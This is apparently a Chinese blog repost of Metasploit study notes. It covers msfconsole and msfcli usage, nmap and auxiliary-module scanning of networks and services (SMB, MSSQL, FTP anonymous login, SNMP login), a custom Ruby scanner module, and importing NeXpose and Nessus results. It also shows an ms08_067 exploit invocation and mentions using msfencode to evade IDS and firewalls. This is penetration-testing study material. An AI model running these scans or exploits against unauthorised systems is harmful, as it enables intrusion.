Metasploit 笔记
Posted 海鸥博客
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Metasploit 笔记相关的知识,希望对你有一定的参考价值。
一.名词解释
exploit
测试者利用它来攻击一个系统 ,程序,或服务,以获得开发者意料之外的结果 。常见的
有内存溢出,网站程序漏洞利用,配置错误 exploit。 payload
我们想让被攻击系统执行的程序,如 reverse shell 可以从目标机器与测试者之间建立一 个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器 。payload 也可以是只 能在目标机器上执行有限命令的程序。
shellcode
是进行攻击时的一系列被当作 payload 的指令,通常在目标机器上执行之后提供一个可
执行命令的 shell。 module
MSF 的模块,由一系列代码组成。 listener
等待来自被攻击机器的 incoming 连接的监听在测试者机器上的程序。
二.MSF 基础
1、MSF 提供多种用户界面 :控制台模式(msfconsole),命令行模式(msfcli),图形模式(msfgui、 armitage),(在老版本中还有 web 界面模式,后来貌似由于安全因素被取消了? )其中 console 模式最常用,启动方式:
cd /opt/framework/msf3/
msfconsole
运行此命令后将进入 msf 命令提示符: msf>
2、获取命令的帮助信息: help 例子:
help connect
3、msfcli 和 msfconsole 相比不提供交互方式,它直接从命令行输入所有参数并产生结果 , msfcli –h #获取帮助信息
msfcli
<exploit_name> <option=value> [mode]
------------------------------------------------------------------------------
mode:H(help)帮助 S(summary)显示模块信息 O(options)显示模块的可用选项 A(advanced)显示高级选项 I(ids)显示 IDS EVASION 选项 P(payload)显示此模块可用的 payload T(targets)显示可用 targets
3
AC(action)显示可用 actions C(check)运行模块测试 E(execute)执行选定的模块
-------------------------------------------------------------------------------------- 例子:ms08_067_netapi 模块
msfcli windows/smb/ms08_067_netapi O #查看可用选项
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 P #查看可用 payload
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 #执行 (此处 O、P 等参数也可以用小写)
4、Armitage :MSF 的一个图形接口 运行方式:
cd /opt/farmework/msf3/ armitage
PAYLOAD=windows/shell/bind_tcp E
5、MSF 其他组件:
MSFpayload 工具:
用于生成 shellcode,可生成 C,Ruby,JaveScript,VB 格式的 shellcode。 帮助信息:
msfpayload –h
MSFencode 工具:
编码压缩 shellcode,过 IDS ,防火墙。
msfencode -h
msfencode –l 查看可用的编码器(encoders),效果最佳的是 x86/shikata_ga_nai
三.信息刺探与收集
1、攻击第一步:基础信息收集 1whois 查询:
msf > whois example.com
msf> whois 192.168.1.100
2http://searchdns.netcraft.com/ 在线收集服务器 IP 信息工具 3nslookup
set type=mx
> example.com
2、用 nmap 探测开放端口 和服务:-sS SYN 半开扫描 -sT TCP 半开扫描 -Pn 不使用 ping 方式探测主机 -A 探测服务类型 -6 开启 IPV6 扫描 -O 探测操作系统版本
--------------------------------------------------------------------------------------------------
常用扫描参数组合:
nmap –sS –Pn 192.168.0.111 nmap –sS –Pn –A 192.168.0.111 其他组合:
4
深入式扫描 同上,且扫 UDP 扫描所有 TCP 端口 不使用 ping
使用 ping
快速扫描
nmap -T4 -A -v
nmap -sS -sU -T4 -A -v
nmap -p 1-65535 -T4 -A -v
nmap -T4 -A -v -Pn
nmap -sn
nmap -T4 -F
nmap -sV -T4 -O -F --version-light 加强版快速扫描
nmap -sn --traceroute 快速路由跟踪扫描
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 慢速全面扫描 ---------------------------------------------------------------------------------------------------------------- ( nmap 的 scripts 位于 /usr/local/share/nmap/scripts/ 目录,用 LUA 语言编写, nmap --script-help all | less 查看脚本扫描帮助信息)
(nmap 还有一个 GUI 界面工具叫 zenmap,命令 zenmap 或 nmapfe 都可以启动)
3、MSF 与 postgresql 协同工作
/etc/init.d/postgreql-8.3 start
msf> db_connect postgres:[email protected]/msf
msf> db_status
导入 nmap 扫描的结果:
nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24
msf> db_import Subnet1.xml
msf> db_hosts –c address #查看导入的主机 IP
(msf 也可以和 mysql 一起工作,在 bt5 r1 中 msf 默认支持连接 mysql:
msf> db_driver mysql
msf> db_connect root:[email protected]/msf3 #连接本机 mysql 的 msf3 数据库 mysql 默认密码 toor,使用 db_connect 连接时会自动创建 msf3 库)
4、高级扫描方式:
1msf> use auxiliary/scanner/ip/ipidseq
show options
set RHOSTS 192.168.1.0/24
set RPORT 8080
set THREADS 50
run
(RHOSTS、RPORT 等参数也可以用小写)
2msf> nmap –PN –sI 192.168.1.09 192.168.1.155
3nmap 连接数据库:
msf> db_connect postgres:[email protected]/msf msf> db_nmap –sS –A 192.168.1.111
msf> db_services #查看扫描结果
4使用 portscan 模块:
# -oX 扫描结果导出为 Subnet1.xml
#IPID 序列扫描器,与 nmap 的-sI -O 选项类似
5
msf> search postscan
msf> use scanner/postscan/syn set RHOSTS 192.168.1.111 set THREADS 50
run
5、特定扫描:
smb_version 模块:
msf> use auxiliary/scanner/smb/smb_version show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor
查找 mssql 主机:
msf> use auxiliary/scanner/mssql/mssql_ping show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run
SSH 服务器扫描:
msf> use auxiliary/scanner/ssh/ssh_version set THREADS 50
run
FTP 主机扫描:
msf> use auxiliary/scanner/ftp/ftp_version show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run
扫描 FTP 匿名登录:
use auxiliary/scanner/ftp/anonymos set RHOSTS 192.168.1.0/24
set THREADS 50
run
扫描 SNMP 主机:
msf> use auxiliary/scanner/snmp/snmp_login set RHOSTS 192.168.1.0/24
set THREADS 50
run
6
6、编写自定义扫描模块:
MSF 框架提供对其所有 exploit 和 method 的访问,支持代理,SSL,报告生成,线程, 使用 Ruby 语言。
例子:一个简单的自定义扫描模块 ---------------------------------------------------------------------------------------------------------------- #Metasploit
require ‘msf/core’
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp include Msf:Auxiliary::Scanner def initialize
end end
super(
‘Name’ => ‘Version’ => ‘Description’ ‘Author’ => ‘License’ =>
‘My custom TCP scan’, ‘$Revision: 1$’,
) register_options(
[
Opt::RPORT(12345)
],self.class)
end
def run_host(ip)
=> ‘My quick ‘Yourname here’, ‘MSF_LICENSE’
scanner’,
connect()
sock.puts(‘HELLO SERVER’)
data = sock.recv(1024) print_status(“Received: #{data} from #{ip}”) disconnect()
------------------------------------------------------------------------------------------------------------- 测试:将模块保存到 modules/auxiliary/scanner/ 目录下面,命名为 simple_tcp.rb,注意 保存的位置很重要。
使用 nc 监听一个端口测试这个模块:
echo “Hello Metasploit” > banner.txt nc –lvnp 12345 < banner.txt
msf> use auxiliary/scanner/simple_tcp >show options
>set RHOSTS 192.168.1.111
>run
[*] Received: Hello Metasploit from 192.168.1.111
7
四.基本漏洞扫描
1、使用 nc 与目标端口通信,获取目标端口的信息: nc 192.168.1.111 80
GET HTTP 1/1
Server: Microsoft-IIS/5.1
(1:还有一个功能与 nc 类似的工具 Ncat,产自 nmap 社区,可实现相同功能: ncat -C 192.168.1.111 80
GET / HTTP/1.0
2:题外:ncat 还可以做聊天服务器呢!在服务器端监听然后多个客户端直接连上就 可以聊天了:服务器(chatserver):ncatncat -l --chat 其他客户端:ncat chatserver
3:ncat 还可以用来查看各种客户端的请求信息,比如论坛里有人问中国菜刀有木有 后门,那么可以这样查看中国菜刀连接后门时发送的数据:
服务器(server.example.com)上:ncat -l --keep-open 80 --output caidao.log > /dev/null 然后使用菜刀连接 http://server.example.com/nc.php 并请求操作,这是菜刀发送的数据 就保存到服务器的 caidao.log 里面了。也可以导出为 hex 格式,--output 换为--hex-dump 就可以了。
4:其实与 nc 功能类似的工具在 bt5 里面还有很多,比如还有一个 sbd: 监听:sbd -l -p 12345
连接:sbd 192.168.1.111 12345
5:当然也可以用来聊天,与 ncat 的不同之处在于 ncat 自动对用户编号 user1、user2、..., 而 sbd 可以自定义昵称,且不需要专门单独监听为聊天服务器:
pc1:sbd -l -p 12345 -P chowner
pc2:sbd pc1 12345 -P evil 6:其实 nc 也可以用来聊天的:
pc1:nc -l -p 12345
pc2:telnet pc1 12345) 2、与 NeXpose 结合扫描:
在 nexpose 中扫描目标并生成 xml 格式的报告后,将报告导入到 msf: db_connect postgres:[email protected]/msf
db_import /tmp/host_test.xml
db_hosts –c address,svvs,vulns
db_vulns
在 MSF 中运行 nexpose:
db_destroy postgres:[email protected]/msf db_connect postgres:[email protected]/msf
load nexpose
nexpose_connect –h
nexpose_connect nexpose:[email protected] ok nexpose_scan 192.168.1.195
db_hosts –c address
8
db_vulns
(如果你想在 bt5 里安装 nexpose 的话建议把 bt5 硬盘空间多留几十 G,这玩意硬盘小
了不让装。)
3、与 nessus 结合扫描:
使用 Nessus 扫描完成后生成.nessus 格式的报告,导入到 MSF: db_connect postgres:[email protected]/msf
db_import /tmp/nessus_report_Host_test.nessus
db_hosts –c address,svcs,vulns
db_vulns
在 MSF 中使用 Nessus:
db_connect postgres:[email protected]/msf
load nessus
nessus_connect nessus:[email protected]:8834 ok
以上是关于Metasploit 笔记的主要内容,如果未能解决你的问题,请参考以下文章
Win10 如何下载安装Metasploit-framework6.2
内网安全之:Metasploit 跳板攻击:portfwd 端口转发与端口映射